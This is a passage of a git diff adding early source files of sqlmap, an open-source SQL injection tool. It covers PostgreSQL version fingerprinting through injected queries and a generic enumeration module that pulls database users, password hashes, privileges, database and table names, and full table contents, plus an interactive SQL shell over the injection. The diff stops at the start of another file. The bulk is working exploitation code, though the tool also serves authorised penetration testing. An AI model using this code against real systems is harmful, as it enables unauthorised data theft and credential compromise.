setDbms("PostgreSQL") + + if not conf.extensiveFp: + return True + + if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2": + kb.dbmsVersion = [">= 8.2.0"] + elif inject.getValue("GREATEST(5, 9, 1)") == "9": + kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] + elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3": + kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] + elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"): + kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] + elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p": + kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] + elif inject.getValue("BIT_LENGTH(1)") == "8": + kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] + elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a": + kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] + elif inject.getValue("POW(2, 3)") == "8": + kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] + elif inject.getValue("MAX('a')") == "a": + kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] + elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")): + kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] + elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2": + kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] + elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s": + kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] + else: + kb.dbmsVersion = ["< 6.2.0"] + + if conf.getBanner: + self.banner = inject.getValue("VERSION()") + + return True + else: + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/generic/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py new file mode 100644 index 000000000..1e5effebe --- /dev/null +++ b/plugins/generic/enumeration.py @@ -0,0 +1,1077 @@ +#!/usr/bin/env python + +""" +$Id: enumeration.py 363 2008-09-21 23:56:32Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.agent import agent +from lib.core.common import getRange +from lib.core.common import parsePasswordHash +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import temp +from lib.core.dump import dumper +from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.settings import MYSQL_SYSTEM_DBS +from lib.core.settings import PGSQL_SYSTEM_DBS +from lib.core.settings import ORACLE_SYSTEM_DBS +from lib.core.settings import MSSQL_SYSTEM_DBS +from lib.core.shell import autoCompletion +from lib.request import inject +from lib.request.connect import Connect as Request + + +class Enumeration: + """ + This class defines generic enumeration functionalities for plugins. + + """ + + def __init__(self, dbms): + self.has_information_schema = None + + self.banner = "" + self.currentUser = "" + self.currentDb = "" + self.cachedUsers = [] + self.cachedUsersPassword = {} + self.cachedUsersPrivileges = {} + self.cachedDbs = [] + self.cachedTables = {} + self.cachedColumns = {} + self.dumpedTable = {} + + temp.inference = queries[dbms].inference + + if dbms == "MySQL": + self.excludeDbsList = MYSQL_SYSTEM_DBS + elif dbms == "PostgreSQL": + self.excludeDbsList = PGSQL_SYSTEM_DBS + elif dbms == "Oracle": + self.excludeDbsList = ORACLE_SYSTEM_DBS + elif dbms == "Microsoft SQL Server": + self.excludeDbsList = MSSQL_SYSTEM_DBS + + + def getBanner(self): + logMsg = "fetching banner" + logger.info(logMsg) + + query = queries[kb.dbms].banner + + if not self.banner: + self.banner = inject.getValue(query) + + return self.banner + + + def getCurrentUser(self): + logMsg = "fetching current user" + logger.info(logMsg) + + query = queries[kb.dbms].currentUser + + if not self.currentUser: + self.currentUser = inject.getValue(query) + + return self.currentUser + + + def getCurrentDb(self): + logMsg = "fetching current database" + logger.info(logMsg) + + query = queries[kb.dbms].currentDb + + if not self.currentDb: + self.currentDb = inject.getValue(query) + + return self.currentDb + + + def getUsers(self): + logMsg = "fetching database users" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].users + + condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) ) + condition |= ( kb.dbms == "MySQL" and not self.has_information_schema ) + + if conf.unionUse: + if condition: + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + value = inject.getValue(query, blind=False) + + if value: + self.cachedUsers = value + + if not self.cachedUsers: + logMsg = "fetching number of database users" + logger.info(logMsg) + + if condition: + query = rootQuery["blind"]["count2"] + else: + query = rootQuery["blind"]["count"] + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of database users" + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + if condition: + query = rootQuery["blind"]["query2"] % index + else: + query = rootQuery["blind"]["query"] % index + user = inject.getValue(query, inband=False) + + if user: + self.cachedUsers.append(user) + + if not self.cachedUsers: + errMsg = "unable to retrieve the database users" + raise sqlmapNoneDataException, errMsg + + return self.cachedUsers + + + def getPasswordHashes(self): + logMsg = "fetching database users password hashes" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].passwords + + if conf.unionUse: + if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + + condition = rootQuery["inband"]["condition"] + + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + query += " WHERE " + query += " OR ".join("%s = '%s'" % (condition, user) for user in users) + else: + query += " WHERE %s = '%s'" % (condition, conf.user) + + value = inject.getValue(query, blind=False) + + if value: + for user, password in value: + if not user or user == " ": + continue + + password = parsePasswordHash(password) + + if not self.cachedUsersPassword.has_key(user): + self.cachedUsersPassword[user] = [password] + else: + self.cachedUsersPassword[user].append(password) + + if not self.cachedUsersPassword: + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + else: + users = [conf.user] + else: + if not len(self.cachedUsers): + users = self.getUsers() + else: + users = self.cachedUsers + + retrievedUsers = set() + + for user in users: + if kb.dbms == "MySQL": + parsedUser = re.search("\047(.*?)\047@'", user) + + if parsedUser: + user = parsedUser.groups()[0] + + if user in retrievedUsers: + continue + + logMsg = "fetching number of password hashes " + logMsg += "for user '%s'" % user + logger.info(logMsg) + + if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["blind"]["count2"] % user + else: + query = rootQuery["blind"]["count"] % user + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of password " + warnMsg += "hashes for user '%s'" % user + logger.warn(warnMsg) + continue + + logMsg = "fetching password hashes for user '%s'" % user + logger.info(logMsg) + + passwords = [] + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "Microsoft SQL Server": + if kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["blind"]["query2"] % (user, index, user) + else: + query = rootQuery["blind"]["query"] % (user, index, user) + else: + query = rootQuery["blind"]["query"] % (user, index) + password = inject.getValue(query, inband=False) + password = parsePasswordHash(password) + passwords.append(password) + + if passwords: + self.cachedUsersPassword[user] = passwords + else: + warnMsg = "unable to retrieve the password " + warnMsg += "hashes for user '%s'" % user + logger.warn(warnMsg) + + retrievedUsers.add(user) + + if not self.cachedUsersPassword: + errMsg = "unable to retrieve the password " + errMsg += "hashes for the database users" + raise sqlmapNoneDataException, errMsg + + return self.cachedUsersPassword + + + def __isAdminFromPrivileges(self, privileges): + # In PostgreSQL the usesuper privilege means that the + # user is DBA + dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges ) + + # In Oracle the DBA privilege means that the + # user is DBA + dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges ) + + # In MySQL >= 5.0 the SUPER privilege means + # that the user is DBA + dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges ) + + # In MySQL < 5.0 the super_priv privilege means + # that the user is DBA + dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges ) + + return dbaCondition + + + def getPrivileges(self): + logMsg = "fetching database users privileges" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].privileges + + # Set containing the list of DBMS administrators + areAdmins = set() + + mysqlPrivs = ( + ( 1, "select_priv" ), + ( 2, "insert_priv" ), + ( 3, "update_priv" ), + ( 4, "delete_priv" ), + ( 5, "create_priv" ), + ( 6, "drop_priv" ), + ( 7, "reload_priv" ), + ( 8, "shutdown_priv" ), + ( 9, "process_priv" ), + ( 10, "file_priv" ), + ( 11, "grant_priv" ), + ( 12, "references_priv" ), + ( 13, "index_priv" ), + ( 14, "alter_priv" ), + ( 15, "show_db_priv" ), + ( 16, "super_priv" ), + ( 17, "create_tmp_table_priv" ), + ( 18, "lock_tables_priv" ), + ( 19, "execute_priv" ), + ( 20, "repl_slave_priv" ), + ( 21, "repl_client_priv" ), + ( 22, "create_view_priv" ), + ( 23, "show_view_priv" ), + ( 24, "create_routine_priv" ), + ( 25, "alter_routine_priv" ), + ( 26, "create_user_priv" ), + ) + + pgsqlPrivs = ( + ( 1, "createdb" ), + ( 2, "super" ), + ( 3, "catupd" ), + ) + + if conf.unionUse: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["inband"]["query2"] + condition = rootQuery["inband"]["condition2"] + else: + query = rootQuery["inband"]["query"] + condition = rootQuery["inband"]["condition"] + + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + query += " WHERE " + # NOTE: we need this here only for MySQL 5.0 because + # of a known issue explained in queries.xml + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + conf.user + "%" + query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) + else: + query += " OR ".join("%s = '%s'" % (condition, user) for user in users) + else: + # NOTE: we need this here only for MySQL 5.0 because + # of a known issue explained in queries.xml + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + conf.user + "%" + query += " WHERE %s LIKE '%s'" % (condition, likeUser) + else: + query += " WHERE %s = '%s'" % (condition, conf.user) + + values = inject.getValue(query, blind=False) + + if values: + for value in values: + user = None + privileges = set() + + for count in xrange(0, len(value)): + # The first column is always the username + if count == 0: + user = value[count] + + # The other columns are the privileges + else: + privilege = value[count] + + # In PostgreSQL we get 1 if the privilege is + # True, 0 otherwise + if kb.dbms == "PostgreSQL" and privilege.isdigit(): + for position, pgsqlPriv in pgsqlPrivs: + if count == position and int(privilege) == 1: + privileges.add(pgsqlPriv) + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif kb.dbms == "MySQL" and not self.has_information_schema: + for position, mysqlPriv in mysqlPrivs: + if count == position and privilege.upper() == "Y": + privileges.add(mysqlPriv) + + if self.__isAdminFromPrivileges(privileges): + areAdmins.add(user) + + if self.cachedUsersPrivileges.has_key(user): + self.cachedUsersPrivileges[user].extend(privileges) + else: + self.cachedUsersPrivileges[user] = list(privileges) + + if not self.cachedUsersPrivileges: + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + else: + users = [conf.user] + else: + if not len(self.cachedUsers): + users = self.getUsers() + else: + users = self.cachedUsers + + retrievedUsers = set() + + for user in users: + if kb.dbms == "MySQL": + parsedUser = re.search("\047(.*?)\047@'", user) + + if parsedUser: + user = parsedUser.groups()[0].replace("'", "") + + if user in retrievedUsers: + continue + + logMsg = "fetching number of privileges " + logMsg += "for user '%s'" % user + logger.info(logMsg) + + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + user + "%" + else: + likeUser = user + + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["count2"] % likeUser + else: + query = rootQuery["blind"]["count"] % likeUser + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "privileges for user '%s'" % likeUser + logger.warn(warnMsg) + continue + + logMsg = "fetching privileges for user '%s'" % likeUser + logger.info(logMsg) + + privileges = set() + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["query2"] % (likeUser, index) + else: + query = rootQuery["blind"]["query"] % (likeUser, index) + privilege = inject.getValue(query, inband=False) + + # In PostgreSQL we return 1 if the privilege + # if True, otherwise 0 + if kb.dbms == "PostgreSQL" and ", " in privilege: + privilege = privilege.replace(", ", ",") + privs = privilege.split(",") + i = 1 + + for priv in privs: + if priv.isdigit() and int(priv) == 1: + for position, pgsqlPriv in pgsqlPrivs: + if position == i: + privileges.add(pgsqlPriv) + + i += 1 + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif kb.dbms == "MySQL" and not self.has_information_schema: + privilege = privilege.replace(", ", ",") + privs = privilege.split(",") + i = 1 + + for priv in privs: + if priv.upper() == "Y": + for position, mysqlPriv in mysqlPrivs: + if position == i: + privileges.add(mysqlPriv) + + i += 1 + + if self.__isAdminFromPrivileges(privileges): + areAdmins.add(user) + + if privileges: + self.cachedUsersPrivileges[user] = list(privileges) + else: + warnMsg = "unable to retrieve the privileges " + warnMsg += "for user '%s'" % user + logger.warn(warnMsg) + + retrievedUsers.add(user) + + if not self.cachedUsersPrivileges: + errMsg = "unable to retrieve the privileges " + errMsg += "for the database users" + raise sqlmapNoneDataException, errMsg + + return ( self.cachedUsersPrivileges, areAdmins ) + + + def getDbs(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5. database " + warnMsg += "names will be fetched from 'mysql' table" + logger.warn(warnMsg) + + logMsg = "fetching database names" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].dbs + + if conf.unionUse: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + value = inject.getValue(query, blind=False) + + if value: + self.cachedDbs = value + + if not self.cachedDbs: + logMsg = "fetching number of databases" + logger.info(logMsg) + + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["count2"] + else: + query = rootQuery["blind"]["count"] + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of databases" + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["query2"] % index + else: + query = rootQuery["blind"]["query"] % index + db = inject.getValue(query, inband=False) + + if db: + self.cachedDbs.append(db) + + if not self.cachedDbs: + errMsg = "unable to retrieve the database names" + raise sqlmapNoneDataException, errMsg + + return self.cachedDbs + + + def getTables(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if kb.dbms == "Oracle": + if conf.db: + conf.db = conf.db.upper() + else: + conf.db = "USERS" + + warnMsg = "on Oracle it is only possible to enumerate " + warnMsg += "tables if you provide a TABLESPACE_NAME as " + warnMsg += "database name. sqlmap is going to use " + warnMsg += "'USERS' to retrieve all tables owned by an " + warnMsg += "Oracle database management system user" + logger.warn(warnMsg) + + logMsg = "fetching tables" + if conf.db: + logMsg += " for database '%s'" % conf.db + logger.info(logMsg) + + rootQuery = queries[kb.dbms].tables + + if conf.unionUse: + query = rootQuery["inband"]["query"] + condition = rootQuery["inband"]["condition"] + + if conf.db: + if "," in conf.db: + dbs = conf.db.split(",") + query += " WHERE " + query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs) + else: + query += " WHERE %s='%s'" % (condition, conf.db) + elif conf.excludeSysDbs: + query += " WHERE " + query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList) + logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) + logger.info(logMsg) + + value = inject.getValue(query, blind=False) + + if value: + for db, table in value: + if not self.cachedTables.has_key(db): + self.cachedTables[db] = [table] + else: + self.cachedTables[db].append(table) + + if not self.cachedTables: + if conf.db: + if "," in conf.db: + dbs = conf.db.split(",") + else: + dbs = [conf.db] + else: + if not len(self.cachedDbs): + dbs = self.getDbs() + else: + dbs = self.cachedDbs + + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + logMsg = "fetching number of tables for " + logMsg += "database '%s'" % db + logger.info(logMsg) + + query = rootQuery["blind"]["count"] % db + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % db + logger.warn(warnMsg) + continue + + tables = [] + indexRange = getRange(count) + + for index in indexRange: + query = rootQuery["blind"]["query"] % (db, index) + table = inject.getValue(query, inband=False) + tables.append(table) + + if tables: + self.cachedTables[db] = tables + else: + warnMsg = "unable to retrieve the tables " + warnMsg += "for database '%s'" % db + logger.warn(warnMsg) + + if not self.cachedTables: + errMsg = "unable to retrieve the tables for any database" + raise sqlmapNoneDataException, errMsg + + return self.cachedTables + + + def getColumns(self, onlyColNames=False): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if not conf.tbl: + errMsg = "missing table parameter" + raise sqlmapMissingMandatoryOptionException, errMsg + + if "." in conf.tbl: + conf.db, conf.tbl = conf.tbl.split(".") + + if not conf.db: + errMsg = "missing database parameter" + + if kb.dbms == "PostgreSQL": + conf.db = "public" + + errMsg += ", sqlmap is going to use 'public' schema" + logger.warn(errMsg) + else: + raise sqlmapMissingMandatoryOptionException, errMsg + + logMsg = "fetching columns " + logMsg += "for table '%s' " % conf.tbl + logMsg += "on database '%s'" % conf.db + logger.info(logMsg) + + rootQuery = queries[kb.dbms].columns + + if kb.dbms == "Oracle": + conf.db = conf.db.upper() + conf.tbl = conf.tbl.upper() + + if conf.unionUse: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["inband"]["query"] % conf.tbl.upper() + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["inband"]["query"] % (conf.db, conf.db, + conf.db, conf.db, + conf.db, conf.db, + conf.db, conf.tbl) + + value = inject.getValue(query, blind=False) + + if value: + table = {} + columns = {} + for column, colType in value: + columns[column] = colType + table[conf.tbl] = columns + self.cachedColumns[conf.db] = table + + if not self.cachedColumns: + logMsg = "fetching number of columns " + logMsg += "for table '%s'" % conf.tbl + logMsg += " on database '%s'" % conf.db + logger.info(logMsg) + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["count"] % (conf.tbl, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["count"] % conf.tbl.upper() + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) + + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of columns " + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + raise sqlmapNoneDataException, errMsg + + table = {} + columns = {} + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query"] % (index, conf.db, + conf.db, conf.tbl) + + column = inject.getValue(query, inband=False) + + if not onlyColNames: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db, + conf.db, column, conf.db, + conf.db, conf.db, conf.tbl) + + colType = inject.getValue(query, inband=False) + columns[column] = colType + else: + columns[column] = None + + if columns: + table[conf.tbl] = columns + self.cachedColumns[conf.db] = table + + if not self.cachedColumns: + errMsg = "unable to retrieve the columns " + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + raise sqlmapNoneDataException, errMsg + + return self.cachedColumns + + + def dumpTable(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if not conf.tbl: + errMsg = "missing table parameter" + raise sqlmapMissingMandatoryOptionException, errMsg + + if "." in conf.tbl: + conf.db, conf.tbl = conf.tbl.split(".") + + if not conf.db: + errMsg = "missing database parameter" + + if kb.dbms == "PostgreSQL": + conf.db = "public" + + errMsg += ", sqlmap is going to use 'public' schema" + logger.warn(errMsg) + else: + raise sqlmapMissingMandatoryOptionException, errMsg + + if kb.dbms == "Oracle": + conf.db = conf.db.upper() + conf.tbl = conf.tbl.upper() + + rootQuery = queries[kb.dbms].dumpTable + + logMsg = "fetching" + if conf.col: + colList = conf.col.split(",") + colString = ", ".join(column for column in colList) + logMsg += " columns '%s'" % colString + logMsg += " entries for table '%s'" % conf.tbl + logMsg += " on database '%s'" % conf.db + logger.info(logMsg) + + if conf.col: + self.cachedColumns[conf.db] = {} + self.cachedColumns[conf.db][conf.tbl] = {} + for column in colList: + self.cachedColumns[conf.db][conf.tbl][column] = None + elif not self.cachedColumns: + self.cachedColumns = self.getColumns(onlyColNames=True) + + colList = self.cachedColumns[conf.db][conf.tbl].keys() + colList.sort(key=lambda x: x.lower()) + colString = ", ".join(column for column in colList) + + if conf.unionUse: + if kb.dbms == "Oracle": + query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) + else: + query = rootQuery["inband"]["query"] % (colString, conf.db, conf.tbl) + entries = inject.getValue(query, blind=False) + + if entries: + entriesCount = len(entries) + index = 0 + + for column in colList: + colLen = len(column) + + if not self.dumpedTable.has_key(column): + self.dumpedTable[column] = { "length": 0, "values": [] } + + for entry in entries: + if isinstance(entry, str): + colEntry = entry + else: + colEntry = entry[index] + + colEntryLen = len(colEntry) + maxLen = max(colLen, colEntryLen) + + if maxLen > self.dumpedTable[column]["length"]: + self.dumpedTable[column]["length"] = maxLen + + self.dumpedTable[column]["values"].append(colEntry) + + index += 1 + + if not self.dumpedTable: + if conf.unionUse: + warnMsg = "unable to retrieve the " + if conf.col: + warnMsg += "columns '%s' " % colString + warnMsg += "entries for table '%s' " % conf.tbl + warnMsg += "on database '%s'" % conf.db + warnMsg += " through UNION query SQL injection, " + warnMsg += "probably because it has no entries, going " + warnMsg += "blind to confirm" + logger.warn(warnMsg) + + logMsg = "fetching number of " + if conf.col: + logMsg += "columns '%s' " % colString + logMsg += "entries for table '%s' " % conf.tbl + logMsg += "on database '%s'" % conf.db + logger.info(logMsg) + + if kb.dbms == "Oracle": + query = rootQuery["blind"]["count"] % conf.tbl.upper() + else: + query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of " + if conf.col: + errMsg += "columns '%s' " % colString + errMsg += "entries for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + + if conf.dumpAll: + logger.warn(errMsg) + return self.dumpedTable + else: + raise sqlmapNoneDataException, errMsg + + lengths = {} + entries = {} + indexRange = getRange(count, True) + + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = [] + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + query = rootQuery["blind"]["query"] % (column, conf.db, + conf.tbl, colList[0], + index) + elif kb.dbms == "Oracle": + query = rootQuery["blind"]["query"] % (column, column, + conf.tbl.upper(), + colList[0], index) + elif kb.dbms == "Microsoft SQL Server": + query = rootQuery["blind"]["query"] % (column, conf.db, + conf.tbl, column, + index, column, + conf.db, conf.tbl, + colList[0], colList[0]) + + value = inject.getValue(query, inband=False) + + lengths[column] = max(lengths[column], len(value)) + entries[column].append(value) + + for column, columnEntries in entries.items(): + if lengths[column] < len(column): + length = len(column) + else: + length = lengths[column] + + self.dumpedTable[column] = { + "length": length, + "values": columnEntries, + } + + entriesCount = len(columnEntries) + + if self.dumpedTable: + self.dumpedTable["__infos__"] = { + "count": entriesCount, + "table": conf.tbl, + "db": conf.db + } + else: + errMsg = "unable to retrieve the entries of " + if conf.col: + errMsg += "columns '%s' " % colString + errMsg += "for table '%s' " % conf.tbl + errMsg += "on database '%s'" % conf.db + + if conf.dumpAll: + logger.warn(errMsg) + return self.dumpedTable + else: + raise sqlmapNoneDataException, errMsg + + return self.dumpedTable + + + def dumpAll(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + conf.db = None + conf.tbl = None + conf.col = None + self.cachedDbs = [] + self.cachedTables = self.getTables() + + for db, tables in self.cachedTables.items(): + conf.db = db + + for table in tables: + conf.tbl = table + self.cachedColumns = {} + self.dumpedTable = {} + + data = self.dumpTable() + + if data: + dumper.dbTableValues(data) + + + def sqlQuery(self, query): + logMsg = "fetching SQL SELECT query output: '%s'" % query + logger.info(logMsg) + + if query.startswith("select "): + query = query.replace("select ", "SELECT ", 1) + + if " from " in query: + query = query.replace(" from ", " FROM ") + + output = inject.getValue(query, fromUser=True) + + if output == "Quit": + return None + else: + return output + + + def sqlShell(self): + logMsg = "calling %s shell. To quit type " % kb.dbms + logMsg += "'x' or 'q' and press ENTER" + logger.info(logMsg) + + autoCompletion(sqlShell=True) + + while True: + query = None + + try: + query = raw_input("sql> ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not query: + continue + + if query.lower() in ( "x", "q", "exit", "quit" ): + break + + output = self.sqlQuery(query) + + if output and output != "Quit": + dumper.string(query, output) + elif output != "Quit": + print "No output" diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py new file mode 100644 index 000000000..8f23d0506 --- /dev/null +++ b/plugins/generic/filesystem.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +""" +$Id: filesystem.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.exception import sqlmapUnsupportedFeatureException + + +class Filesystem: + """ + This class defines generic OS file system functionalities for plugins. + """ + + def readFile(self, rFile): + errMsg = "this plugin does not support OS file reading yet" + raise sqlmapUnsupportedFeatureException, errMsg + + + def writeFile(self, wFile): + errMsg = "this plugin does not support OS file writing yet" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py new file mode 100644 index 000000000..52085163c --- /dev/null +++ 